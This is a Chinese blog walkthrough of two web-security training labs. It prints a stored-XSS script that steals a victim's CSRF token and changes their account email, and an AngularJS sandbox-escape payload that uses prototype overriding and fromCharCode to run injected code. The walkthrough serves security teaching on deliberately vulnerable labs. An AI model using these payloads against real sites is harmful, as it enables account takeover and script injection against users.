渗透实战:绕过沙箱机制的反射型XSS

Lab 24:利用 xss 绕过 csrf 防御

依然是留言板的问题可以执行<h1>标签

进入修改邮箱的界面,修改抓包

这里构造修改邮箱的代码

复制代码
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=hack@you.com')
};
</script>
<!-- XMLHttpRequest:用于向服务器发送 HTTP 请求,获取或提交数据。
req.open('get', '/my-account', true)发送 GET 请求到 /my-account 页面,获取用户的账户信息(包含 CSRF 令牌)
handleResponse 函数解析服务器返回的 HTML 内容,通过正则表达式 name="csrf" value="(\w+)" 提取 CSRF 令牌
使用窃取的 CSRF 令牌,构造 POST 请求到 /my-account/change-email,将用户邮箱修改为 hack@you.com
-->

Lab 25:无需字符串即可逃逸 AngularJS 沙盒的反射型 XSS

当我们输入 1 时,看到我们输入的内容被放入$scope.query[key]中,因为key='search',这里就是通过访问键值对的方式获取键的值。类似下面的代码

lab 中这段 js 关键部分在于$parse的使用,$parse是 angularJS 中用来将字符串解析为可执行函数,通过$parse(key)($scope.query)search的值传给value,通过{``{value}}显示到页面<h1>标签中。

如何能控制key,从而让$parse执行我们输入的 key,可以尝试用&继续添加参数测试

可以看到我们输入的第二组key:value对出现了,我们可以控制key

angularJS 中,{``{}}表达式可以用来求值,如{``{ 1+1 }}可以得到 2,这里我们可以输入2+2=3+需要 url 编码为%2B

经过测试,发现我们输入的key被计算了,页面显示了 key 的计算结果,尝试输入 alert()不能弹窗,因为这里存在沙箱机制,不允许运行此函数,这里需要绕过沙箱机制执行 alert

访问 xss check-sheetCross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy可以看到关于 angularJS 绕过沙箱的好多方法

本 lab 给出的解决方法?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

这里通过toString().constructor.prototype.charAt=[].join将原型污染,导致 charAt 返回整个字符串而非单个字符

fromCharCode(120,61,97,108,101,114,116,40,49,41)解码后得到字符串:x=alert(1)

toString().constructor指向Function构造函数。

因此这部分等价于:Function("x=alert(1)")(),即创建并执行一个包含x=alert(1)的函数。

由于 charAt 被覆盖,isIdent() 在检查多字符输入(如 x=alert(1))时,实际比较的是整个字符串与单个字符的规则。根据逻辑,任何字符串(如 x=alert(1))都会被误判为合法标识符,导致 isIdent() 始终返回 true

复制代码
isIdent = function(ch) {
  return ('a' <= ch && ch <= 'z' ||  // 小写字母
          'A' <= ch && ch <= 'Z' ||  // 大写字母
          '_' === ch || ch === '$');  // 下划线或美元符号
}

利用 orderBy 过滤器执行恶意表达式 x=alert(1)

复制代码
[1] | orderBy:'x=alert(1)'

为方便理解请看下面示例代码

复制代码
<head>
  <script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
</head>
<div ng-app="myApp" ng-controller="myCtrl">
    <p ng-repeat="item in items | orderBy:'price'">${{ item.price }}</p>
</div>
<!-- | 前面的是传入的数据,orderBy后面是排序的依据,漏洞点就是这里传入了angularJS表达式函数被执行 -->
<script>
  var app = angular.module('myApp', []);
  app.controller('myCtrl', function($scope) {
    $scope.items = [
      { price: 2.5 },
      { price: 1.5 },
      { price: 3.0 }
    ];
  });
</script>

运行结果

生成字符串 "x=alert(1)",避免直接使用引号,通过 toString().constructor 访问 String 构造函数,绕过对 String.fromCharCode 的直接调用限制。

复制代码
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
复制代码
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d
相关推荐
魔云连洲11 分钟前
深入解析:Object.prototype.toString.call() 的工作原理与实战应用
前端·javascript·原型模式
JinSo20 分钟前
alien-signals 系列 —— 认识下一代响应式框架
前端·javascript·github
开心不就得了26 分钟前
Glup 和 Vite
前端·javascript
爱看书的小沐3 小时前
【小沐学WebGIS】基于Three.JS绘制飞行轨迹Flight Tracker(Three.JS/ vue / react / WebGL)
javascript·vue·webgl·three.js·航班·航迹·飞行轨迹
井柏然4 小时前
前端工程化—实战npm包深入理解 external 及实例唯一性
前端·javascript·前端工程化
aklry4 小时前
elpis之动态组件机制
javascript·vue.js·架构
井柏然5 小时前
从 npm 包实战深入理解 external 及实例唯一性
前端·javascript·前端工程化
xjf77116 小时前
Nx项目中使用Vitest对原生JS组件进行单元测试
javascript·单元测试·前端框架·nx·vitest·前端测试
Roadinforest6 小时前
水墨风鼠标效果实现
前端·javascript·vue.js
右子6 小时前
HTML Canvas API 技术简述与关系性指南
前端·javascript·canvas